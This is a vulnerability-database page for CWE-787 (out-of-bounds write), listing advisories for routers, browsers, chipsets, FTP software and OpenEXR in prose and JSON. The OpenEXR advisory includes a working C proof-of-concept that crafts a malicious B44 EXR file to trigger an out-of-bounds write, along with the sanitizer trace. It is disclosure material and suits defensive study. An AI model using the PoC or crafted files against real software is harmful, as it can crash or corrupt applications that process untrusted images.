Common Weakness Enumeration

CWE-787

Allowed-with-Review

Out-of-bounds Write

Abstraction: Base · Status: Draft

The product writes data past the end, or before the beginning, of the intended buffer.

15198 vulnerabilities reference this CWE, most recent first.

GHSA-H6XJ-M6V2-X4V6

Vulnerability from github – Published: 2022-09-01 00:00 – Updated: 2022-09-03 00:00
VLAI
Details

Tenda AC9 V15.03.05.19 was discovered to contain a stack overflow via the deviceList parameter at /goform/setMacFilterCfg.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-36569"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-08-31T20:15:00Z",
    "severity": "HIGH"
  },
  "details": "Tenda AC9 V15.03.05.19 was discovered to contain a stack overflow via the deviceList parameter at /goform/setMacFilterCfg.",
  "id": "GHSA-h6xj-m6v2-x4v6",
  "modified": "2022-09-03T00:00:16Z",
  "published": "2022-09-01T00:00:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-36569"
    },
    {
      "type": "WEB",
      "url": "https://github.com/CyberUnicornIoT/IoTvuln/blob/main/Tenda_ac9/4/tenda_ac9_setMacFilterCfg.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H72H-VW3H-GHQJ

Vulnerability from github – Published: 2022-11-22 15:30 – Updated: 2025-04-29 06:30
VLAI
Details

Netgear R7000P V1.3.1.64 is vulnerable to Buffer Overflow via parameter openvpn_server_ip.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-44199"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-11-22T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Netgear R7000P V1.3.1.64 is vulnerable to Buffer Overflow via parameter openvpn_server_ip.",
  "id": "GHSA-h72h-vw3h-ghqj",
  "modified": "2025-04-29T06:30:36Z",
  "published": "2022-11-22T15:30:26Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-44199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/RobinWang825/IoT_vuln/tree/main/Netgear/R7000P/16"
    },
    {
      "type": "WEB",
      "url": "https://www.netgear.com/about/security"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H72P-7XMW-GPP8

Vulnerability from github – Published: 2024-10-30 00:31 – Updated: 2024-10-30 15:30
VLAI
Details

Out of bounds write in Dawn in Google Chrome prior to 130.0.6723.92 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: Critical)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-10487"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-29T22:15:03Z",
    "severity": "CRITICAL"
  },
  "details": "Out of bounds write in Dawn in Google Chrome prior to 130.0.6723.92 allowed a remote attacker to perform out of bounds memory access via a crafted HTML page. (Chromium security severity: Critical)",
  "id": "GHSA-h72p-7xmw-gpp8",
  "modified": "2024-10-30T15:30:46Z",
  "published": "2024-10-30T00:31:04Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-10487"
    },
    {
      "type": "WEB",
      "url": "https://chromereleases.googleblog.com/2024/10/stable-channel-update-for-desktop_29.html"
    },
    {
      "type": "WEB",
      "url": "https://issues.chromium.org/issues/375123371"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H74H-W4R7-RP9X

Vulnerability from github – Published: 2022-12-22 21:30 – Updated: 2025-04-16 15:34
VLAI
Details

A malicious webpage could have caused an out-of-bounds write in WebGL, leading to memory corruption and a potentially exploitable crash. This vulnerability affects Thunderbird < 91.10, Firefox < 101, and Firefox ESR < 91.10.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-31737"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-22T20:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "A malicious webpage could have caused an out-of-bounds write in WebGL, leading to memory corruption and a potentially exploitable crash. This vulnerability affects Thunderbird \u003c 91.10, Firefox \u003c 101, and Firefox ESR \u003c 91.10.",
  "id": "GHSA-h74h-w4r7-rp9x",
  "modified": "2025-04-16T15:34:08Z",
  "published": "2022-12-22T21:30:29Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31737"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.mozilla.org/show_bug.cgi?id=1743767"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-20"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-21"
    },
    {
      "type": "WEB",
      "url": "https://www.mozilla.org/security/advisories/mfsa2022-22"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-H754-95CG-2MJG

Vulnerability from github – Published: 2022-05-24 17:39 – Updated: 2022-05-24 17:39
VLAI
Details

Out of bound memory access while processing frames due to lack of check of invalid frames received in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables, Snapdragon Wired Infrastructure and Networking

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-11139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-01-21T10:15:00Z",
    "severity": "HIGH"
  },
  "details": "Out of bound memory access while processing frames due to lack of check of invalid frames received in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon IoT, Snapdragon Mobile, Snapdragon Voice \u0026 Music, Snapdragon Wearables, Snapdragon Wired Infrastructure and Networking",
  "id": "GHSA-h754-95cg-2mjg",
  "modified": "2022-05-24T17:39:58Z",
  "published": "2022-05-24T17:39:58Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-11139"
    },
    {
      "type": "WEB",
      "url": "https://www.qualcomm.com/company/product-security/bulletins/december-2020-bulletin"
    },
    {
      "type": "WEB",
      "url": "https://www.qualcomm.com/company/product-security/bulletins/december-2020-security-bulletin"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H75H-RRW3-XMQ8

Vulnerability from github – Published: 2026-04-04 15:30 – Updated: 2026-04-04 15:30
VLAI
Details

NICO-FTP 3.0.1.19 contains a structured exception handler buffer overflow vulnerability that allows remote attackers to execute arbitrary code by sending crafted FTP commands. Attackers can connect to the FTP service and send oversized data in response handlers to overwrite SEH pointers and redirect execution to injected shellcode.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2018-25254"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-04T14:16:21Z",
    "severity": "CRITICAL"
  },
  "details": "NICO-FTP 3.0.1.19 contains a structured exception handler buffer overflow vulnerability that allows remote attackers to execute arbitrary code by sending crafted FTP commands. Attackers can connect to the FTP service and send oversized data in response handlers to overwrite SEH pointers and redirect execution to injected shellcode.",
  "id": "GHSA-h75h-rrw3-xmq8",
  "modified": "2026-04-04T15:30:21Z",
  "published": "2026-04-04T15:30:21Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2018-25254"
    },
    {
      "type": "WEB",
      "url": "https://en.softonic.com/download/nico-ftp/windows/post-download"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/45442"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/nico-ftp-buffer-overflow-seh"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H762-RHV3-H25V

Vulnerability from github – Published: 2026-04-03 21:47 – Updated: 2026-04-03 21:47
VLAI
Summary
OpenEXR: integer overflow to OOB write in uncompress_b44_impl()
Details

Summary

The B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.

Root cause

  • Variable declarations (internal_b44.c:535)
int nx, ny;

nx and ny are declared as plain int. They are assigned from curc->width and curc->height which are int32_t.

  • Scratch buffer allocation (internal_b44:543)
nBytes = (uint64_t) (ny) * (uint64_t) (nx) *
               (uint64_t) (curc->bytes_per_element);

The allocation path correctly promotes to uint64_t before multiplying. The scratch buffer is always large enough to hold the full channel.

  • Row pointer reconstruction (internal_b44:560)
row0 = (uint16_t*) scratch;
row0 += y * nx;          
row1 = row0 + nx;
row2 = row1 + nx;
row3 = row2 + nx;

y and nx are both int. The product y * nx is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow

  • Out of Band write (internal_b44:592)
memcpy (row0, &s[0], n);
memcpy (row1, &s[4], n);
memcpy (row2, &s[8], n);
memcpy (row3, &s[12], n);

These four writes copy decoded B44 pixel blocks into row0–row3, which now point to memory before the scratch buffer. The same pattern is present in the encoder path (ht_apply_impl), lines 431–432, where row0–row3 are read rather than written, producing an out-of-bounds read.

PoC

The PoC generates a valid B44 scanline EXR file (268435456 × 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes row0 += y * nx, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.

#include <openexr.h>
#include <inttypes.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

#define CHECK(call)                                                  
    do {                                                             
        exr_result_t _rv = (call);                                   
        if (_rv != EXR_ERR_SUCCESS) {                                
            fprintf(stderr, "%s failed (%d)\n", #call, (int)_rv);   
            goto fail;                                               
        }                                                            
    } while (0)

static void fill_blocks(uint8_t* out, uint64_t n) {
    for (uint64_t i = 0; i < n; i++, out += 3) {
        out[0] = 0x00; out[1] = 0x00; out[2] = (13u << 2);
    }
}

int main(void) {
    const int64_t  W      = 268435456;
    const int64_t  H      = 9;
    const char*    path   = "/tmp/poc_b44.exr";

    const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;
    const uint64_t psz    = blocks * 3;

    uint8_t* packed = (uint8_t*) malloc(psz);
    exr_context_t         ctxt   = NULL;
    exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;
    int                   part   = -1;
    exr_chunk_info_t      cinfo;
    exr_decode_pipeline_t dec    = EXR_DECODE_PIPELINE_INITIALIZER;
    uint16_t              dummy  = 0;
    int                   ok     = 0;

    if (!packed) { fprintf(stderr, "malloc failed\n"); return 1; }
    fill_blocks(packed, blocks);

    CHECK(exr_start_write(&ctxt, path, EXR_WRITE_FILE_DIRECTLY, &cinit));
    CHECK(exr_add_part(ctxt, "scan", EXR_STORAGE_SCANLINE, &part));
    CHECK(exr_initialize_required_attr_simple(
              ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));
    CHECK(exr_add_channel(ctxt, part, "Y", EXR_PIXEL_HALF,
                          EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));
    CHECK(exr_write_header(ctxt));
    CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));
    exr_finish(&ctxt); ctxt = NULL;

    fprintf(stderr, "[*] wrote %s  W=%"PRId64" H=%"PRId64 "  packed=%"PRIu64" bytes\n", path, W, H, psz);


    CHECK(exr_start_read(&ctxt, path, &cinit));
    CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, &cinfo));
    CHECK(exr_decoding_initialize(ctxt, 0, &cinfo, &dec));

    dec.channels[0].decode_to_ptr          = (uint8_t*)&dummy;
    dec.channels[0].user_pixel_stride      = 2;
    dec.channels[0].user_line_stride       = dec.channels[0].width * 2;
    dec.channels[0].user_bytes_per_element = 2;
    dec.channels[0].user_data_type         = dec.channels[0].data_type;

    CHECK(exr_decoding_choose_default_routines(ctxt, 0, &dec));
    dec.unpack_and_convert_fn = NULL; 

    fprintf(stderr, "[*] calling exr_decoding_run()h\n");
    fflush(stderr);


    CHECK(exr_decoding_run(ctxt, 0, &dec));
    ok = 1;

fail:
    if (ctxt) { exr_decoding_destroy(ctxt, &dec); exr_finish(&ctxt); }
    free(packed);
    return ok ? 0 : 1;
}

ASAN Trace

openexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error:
    signed integer overflow: 8 * 268435456 cannot be represented in type 'int'
    #0 in uncompress_b44_impl  internal_b44.c:561
    #1 in internal_exr_undo_b44  internal_b44.c:706
    #2 in decompress_data  compression.c:444
    #3 in exr_uncompress_chunk  compression.c:541
    #4 in exr_decoding_run  decoding.c:580
    #5 in main  poc.c:83

=================================================================
==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800
==PID==The signal is caused by a WRITE memory access.
    #0 in memcpy  (libc)
    #1 in uncompress_b44_impl  internal_b44.c:599
    #2 in internal_exr_undo_b44  internal_b44.c:706
    #3 in decompress_data  compression.c:444
    #4 in exr_uncompress_chunk  compression.c:541
    #5 in exr_decoding_run  decoding.c:580
    #6 in main  poc.c:83

SUMMARY: AddressSanitizer: SEGV — WRITE via memcpy in uncompress_b44_impl internal_b44.c:599

Impact

A crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). Consequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).

Show details on source website

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 3.4.7"
      },
      "package": {
        "ecosystem": "PyPI",
        "name": "openexr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.4.0"
            },
            {
              "fixed": "3.4.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "openexr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.3.0"
            },
            {
              "last_affected": "3.3.8"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "openexr"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.2.0"
            },
            {
              "last_affected": "3.2.6"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-34544"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-190",
      "CWE-787"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-04-03T21:47:07Z",
    "nvd_published_at": "2026-04-01T21:17:01Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nThe B44/B44A decoder in OpenEXR reconstructs row pointers into a scratch buffer using int. When the channel width (nx) is large enough, the product y * nx overflows int, causing the row pointer to wrap before the start of the scratch buffer. Subsequent memcpy() calls then write decoded pixel blocks to an invalid address, producing an active out-of-bounds write.\n\n### Root cause \n* Variable declarations (internal_b44.c:535)\n```c\nint nx, ny;\n```\n`nx` and `ny` are declared as plain int. They are assigned from `curc-\u003ewidth` and `curc-\u003eheight` which are int32_t.\n\n* Scratch buffer allocation (internal_b44:543)\n```c\nnBytes = (uint64_t) (ny) * (uint64_t) (nx) *\n               (uint64_t) (curc-\u003ebytes_per_element);\n```\nThe allocation path correctly promotes to uint64_t before multiplying.\nThe scratch buffer is always large enough to hold the full channel.\n\n* Row pointer reconstruction (internal_b44:560)\n```c\nrow0 = (uint16_t*) scratch;\nrow0 += y * nx;          \nrow1 = row0 + nx;\nrow2 = row1 + nx;\nrow3 = row2 + nx;\n```\n`y` and `nx` are both int. The product `y * nx` is computed in int. If this product exceeds INT_MAX (2,147,483,647), the result is signed integer overflow\n\n* Out of Band write (internal_b44:592)\n```c\nmemcpy (row0, \u0026s[0], n);\nmemcpy (row1, \u0026s[4], n);\nmemcpy (row2, \u0026s[8], n);\nmemcpy (row3, \u0026s[12], n);\n```\nThese four writes copy decoded B44 pixel blocks into row0\u2013row3, which now point to memory before the scratch buffer. \nThe same pattern is present in the encoder path (ht_apply_impl), lines 431\u2013432, where row0\u2013row3 are read rather than written, producing an out-of-bounds read.\n\n### PoC\nThe PoC generates a valid B44 scanline EXR file (268435456 \u00d7 9, single HALF channel) and immediately decodes it. During decompression, uncompress_b44_impl() computes `row0 += y * nx`, with y=8 and nx=268435456, the product exceeds INT_MAX, triggering a signed integer overflow that displaces row0 before the scratch buffer. The subsequent memcpy() writes to this invalid address, causing the crash. The generated file /tmp/poc_b44.exr can be replayed independently on any OpenEXR installation.\n```poc.cpp\n#include \u003copenexr.h\u003e\n#include \u003cinttypes.h\u003e\n#include \u003cstdint.h\u003e\n#include \u003cstdio.h\u003e\n#include \u003cstdlib.h\u003e\n#include \u003cstring.h\u003e\n\n#define CHECK(call)                                                  \n    do {                                                             \n        exr_result_t _rv = (call);                                   \n        if (_rv != EXR_ERR_SUCCESS) {                                \n            fprintf(stderr, \"%s failed (%d)\\n\", #call, (int)_rv);   \n            goto fail;                                               \n        }                                                            \n    } while (0)\n\nstatic void fill_blocks(uint8_t* out, uint64_t n) {\n    for (uint64_t i = 0; i \u003c n; i++, out += 3) {\n        out[0] = 0x00; out[1] = 0x00; out[2] = (13u \u003c\u003c 2);\n    }\n}\n\nint main(void) {\n    const int64_t  W      = 268435456;\n    const int64_t  H      = 9;\n    const char*    path   = \"/tmp/poc_b44.exr\";\n\n    const uint64_t blocks = (uint64_t)(W / 4) * 2 + 1;\n    const uint64_t psz    = blocks * 3;\n\n    uint8_t* packed = (uint8_t*) malloc(psz);\n    exr_context_t         ctxt   = NULL;\n    exr_context_initializer_t cinit = EXR_DEFAULT_CONTEXT_INITIALIZER;\n    int                   part   = -1;\n    exr_chunk_info_t      cinfo;\n    exr_decode_pipeline_t dec    = EXR_DECODE_PIPELINE_INITIALIZER;\n    uint16_t              dummy  = 0;\n    int                   ok     = 0;\n\n    if (!packed) { fprintf(stderr, \"malloc failed\\n\"); return 1; }\n    fill_blocks(packed, blocks);\n\n    CHECK(exr_start_write(\u0026ctxt, path, EXR_WRITE_FILE_DIRECTLY, \u0026cinit));\n    CHECK(exr_add_part(ctxt, \"scan\", EXR_STORAGE_SCANLINE, \u0026part));\n    CHECK(exr_initialize_required_attr_simple(\n              ctxt, part, (int32_t)W, (int32_t)H, EXR_COMPRESSION_B44));\n    CHECK(exr_add_channel(ctxt, part, \"Y\", EXR_PIXEL_HALF,\n                          EXR_PERCEPTUALLY_LOGARITHMIC, 1, 1));\n    CHECK(exr_write_header(ctxt));\n    CHECK(exr_write_scanline_chunk(ctxt, part, 0, packed, psz));\n    exr_finish(\u0026ctxt); ctxt = NULL;\n\n    fprintf(stderr, \"[*] wrote %s  W=%\"PRId64\" H=%\"PRId64 \"  packed=%\"PRIu64\" bytes\\n\", path, W, H, psz);\n\n\n    CHECK(exr_start_read(\u0026ctxt, path, \u0026cinit));\n    CHECK(exr_read_scanline_chunk_info(ctxt, 0, 0, \u0026cinfo));\n    CHECK(exr_decoding_initialize(ctxt, 0, \u0026cinfo, \u0026dec));\n\n    dec.channels[0].decode_to_ptr          = (uint8_t*)\u0026dummy;\n    dec.channels[0].user_pixel_stride      = 2;\n    dec.channels[0].user_line_stride       = dec.channels[0].width * 2;\n    dec.channels[0].user_bytes_per_element = 2;\n    dec.channels[0].user_data_type         = dec.channels[0].data_type;\n\n    CHECK(exr_decoding_choose_default_routines(ctxt, 0, \u0026dec));\n    dec.unpack_and_convert_fn = NULL; \n\n    fprintf(stderr, \"[*] calling exr_decoding_run()h\\n\");\n    fflush(stderr);\n\n\n    CHECK(exr_decoding_run(ctxt, 0, \u0026dec));\n    ok = 1;\n\nfail:\n    if (ctxt) { exr_decoding_destroy(ctxt, \u0026dec); exr_finish(\u0026ctxt); }\n    free(packed);\n    return ok ? 0 : 1;\n}\n```\n### ASAN Trace\n```\nopenexr/src/lib/OpenEXRCore/internal_b44.c:561:23: runtime error:\n    signed integer overflow: 8 * 268435456 cannot be represented in type \u0027int\u0027\n    #0 in uncompress_b44_impl  internal_b44.c:561\n    #1 in internal_exr_undo_b44  internal_b44.c:706\n    #2 in decompress_data  compression.c:444\n    #3 in exr_uncompress_chunk  compression.c:541\n    #4 in exr_decoding_run  decoding.c:580\n    #5 in main  poc.c:83\n\n=================================================================\n==PID==ERROR: AddressSanitizer: SEGV on unknown address 0x7fe65cfbc800\n==PID==The signal is caused by a WRITE memory access.\n    #0 in memcpy  (libc)\n    #1 in uncompress_b44_impl  internal_b44.c:599\n    #2 in internal_exr_undo_b44  internal_b44.c:706\n    #3 in decompress_data  compression.c:444\n    #4 in exr_uncompress_chunk  compression.c:541\n    #5 in exr_decoding_run  decoding.c:580\n    #6 in main  poc.c:83\n\nSUMMARY: AddressSanitizer: SEGV \u2014 WRITE via memcpy in uncompress_b44_impl internal_b44.c:599\n```\n\n### Impact\nA crafted B44 or B44A EXR file can cause an out-of-bounds write in any application that decodes it via exr_decoding_run(). \nConsequences range from immediate crash (most likely) to corruption of adjacent heap allocations (layout-dependent).",
  "id": "GHSA-h762-rhv3-h25v",
  "modified": "2026-04-03T21:47:07Z",
  "published": "2026-04-03T21:47:07Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/security/advisories/GHSA-h762-rhv3-h25v"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-34544"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/commit/35e7aa35e22c1975606be86e859f31cc1fc598ee"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/AcademySoftwareFoundation/openexr"
    },
    {
      "type": "WEB",
      "url": "https://github.com/AcademySoftwareFoundation/openexr/releases/tag/v3.4.8"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
  "summary": "OpenEXR: integer overflow to OOB write in uncompress_b44_impl()"
}

GHSA-H76C-4XF2-WVP8

Vulnerability from github – Published: 2026-03-22 15:31 – Updated: 2026-03-22 15:31
VLAI
Details

TuneClone 2.20 contains a structured exception handler (SEH) buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious license code string. Attackers can craft a payload with a controlled buffer, NSEH jump instruction, and SEH handler address pointing to a ROP gadget, then paste it into the license code field to trigger code execution and establish a bind shell.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2019-25603"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-03-22T14:16:27Z",
    "severity": "HIGH"
  },
  "details": "TuneClone 2.20 contains a structured exception handler (SEH) buffer overflow vulnerability that allows local attackers to execute arbitrary code by supplying a malicious license code string. Attackers can craft a payload with a controlled buffer, NSEH jump instruction, and SEH handler address pointing to a ROP gadget, then paste it into the license code field to trigger code execution and establish a bind shell.",
  "id": "GHSA-h76c-4xf2-wvp8",
  "modified": "2026-03-22T15:31:28Z",
  "published": "2026-03-22T15:31:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2019-25603"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/47012"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/tuneclone-structured-exception-handler-buffer-overflow"
    },
    {
      "type": "WEB",
      "url": "http://www.tuneclone.com"
    },
    {
      "type": "WEB",
      "url": "http://www.tuneclone.com/tuneclone_setup.exe"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-H76M-VVHH-G679

Vulnerability from github – Published: 2022-05-24 17:40 – Updated: 2022-05-24 17:40
VLAI
Details

The function AES_UnWRAP() in the Realtek RTL8195A Wi-Fi Module prior to versions released in April 2020 (up to and excluding 2.08) does not validate the size parameter for a memcpy() operation, resulting in a stack buffer overflow which can be exploited for remote code execution or denial of service. An attacker can impersonate an Access Point and attack a vulnerable Wi-Fi client, by injecting a crafted packet into the WPA2 handshake. The attacker needs to know the network's PSK in order to exploit this.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-25855"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-02-03T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "The function AES_UnWRAP() in the Realtek RTL8195A Wi-Fi Module prior to versions released in April 2020 (up to and excluding 2.08) does not validate the size parameter for a memcpy() operation, resulting in a stack buffer overflow which can be exploited for remote code execution or denial of service. An attacker can impersonate an Access Point and attack a vulnerable Wi-Fi client, by injecting a crafted packet into the WPA2 handshake. The attacker needs to know the network\u0027s PSK in order to exploit this.",
  "id": "GHSA-h76m-vvhh-g679",
  "modified": "2022-05-24T17:40:54Z",
  "published": "2022-05-24T17:40:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-25855"
    },
    {
      "type": "WEB",
      "url": "https://www.vdoo.com/blog/realtek-rtl8195a-vulnerabilities-discovered"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-H78G-XFXF-Q2RF

Vulnerability from github – Published: 2023-03-16 21:30 – Updated: 2023-03-23 21:30
VLAI
Details

An out-of-bounds write vulnerability exists in the SetAttributeList attribute_count_request functionality of EIP Stack Group OpENer development commit 58ee13c. A specially crafted EtherNet/IP request can lead to an out of bounds write, potentially causing the server to crash or allow for remote code execution. An attacker can send a series of EtherNet/IP requests to trigger this vulnerability.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2022-43605"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-03-16T21:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An out-of-bounds write vulnerability exists in the SetAttributeList attribute_count_request functionality of EIP Stack Group OpENer development commit 58ee13c. A specially crafted EtherNet/IP request can lead to an out of bounds write, potentially causing the server to crash or allow for remote code execution. An attacker can send a series of EtherNet/IP requests to trigger this vulnerability.",
  "id": "GHSA-h78g-xfxf-q2rf",
  "modified": "2023-03-23T21:30:21Z",
  "published": "2023-03-16T21:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-43605"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2022-1662"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

Mitigation MIT-3
Requirements

Strategy: Language Selection

  • Use a language that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
  • For example, many languages that perform their own memory management, such as Java and Perl, are not subject to buffer overflows. Other languages, such as Ada and C#, typically provide overflow protection, but the protection can be disabled by the programmer.
  • Be wary that a language's interface to native code may still be subject to overflows, even if the language itself is theoretically safe.
Mitigation MIT-4.1
Architecture and Design

Strategy: Libraries or Frameworks

  • Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid.
